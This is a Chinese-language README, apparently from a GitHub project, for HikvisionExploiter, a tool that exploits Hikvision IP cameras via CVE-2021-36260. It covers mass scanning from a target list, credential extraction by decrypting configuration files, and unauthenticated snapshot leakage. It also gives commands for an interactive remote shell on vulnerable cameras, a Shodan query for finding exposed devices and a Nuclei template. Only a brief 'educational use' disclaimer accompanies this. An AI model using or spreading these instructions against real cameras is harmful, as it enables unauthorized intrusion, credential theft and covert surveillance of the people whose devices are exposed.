HikvisionExploiter 是一个基于 Python 的实用工具,旨在自动对海康威视网络摄像头进行漏洞利用和目录可访问性检查,利用 Web 界面版本 3.1.3.150324 + CVE-2021-36260 检测。
HikvisionExploiter 是一款功能强大且自动化的利用工具包,针对 Hikvision IP 摄像头上未经认证的端点,尤其是运行固件版本 3.1.3.150324 的设备。
它可以执行以下操作:
专为研究人员、红队成员和物联网安全爱好者打造。
/onvif-http/snapshot 端点是否存在快照泄露/System/configurationFile,使用 AES + XOR 解密并提取凭据/Security/users 进行头部绕过检查webLanguage 注入进行 PUT 写入文件的 RCE 检查logs/ 中按 IP:端口 创建结构化日志ThreadPoolExecutor 支持数千个目标pip install -r requirements.txtffmpeg(可选,用于未来将快照转换为视频的功能)pycrypto(用于配置解密):
pip install pycrypto
git clone https://github.com/HexBuddy/HikvisionExploiter.git
cd HikvisionExploiter
pip3 install -r requirements.txt
创建一个 targets.txt 文件,格式如下:
IP:PORT
示例:
192.168.1.10:80
10.10.10.20:81
python3 checker.py
此操作将:
logs/IP_PORT_TIMESTAMP/ 下要在易受攻击的设备上交互式运行命令:
chmod +x shell.sh
./shell.sh <ip:port>
示例:
./shell.sh 192.168.1.10:80
如果设备存在漏洞,你将进入交互式 shell:
hikvision-shell> uname -a
Linux hik-cam 3.0.8 #1 Wed Mar 18 ...
使用以下 Shodan dork 查找暴露的 Hikvision 摄像头:
3.1.3.150324
包含一个与 Nuclei 兼容的模板:nuclei-template.yaml
使用方法:
nuclei -t nuclei-template.yaml -list targets.txt
可检测:
MIT License ©
更多详情请参阅 LICENSE。
Telegram: @HexBuddy127001
怀着 ❤️ 构建,仅供教育和道德研究使用。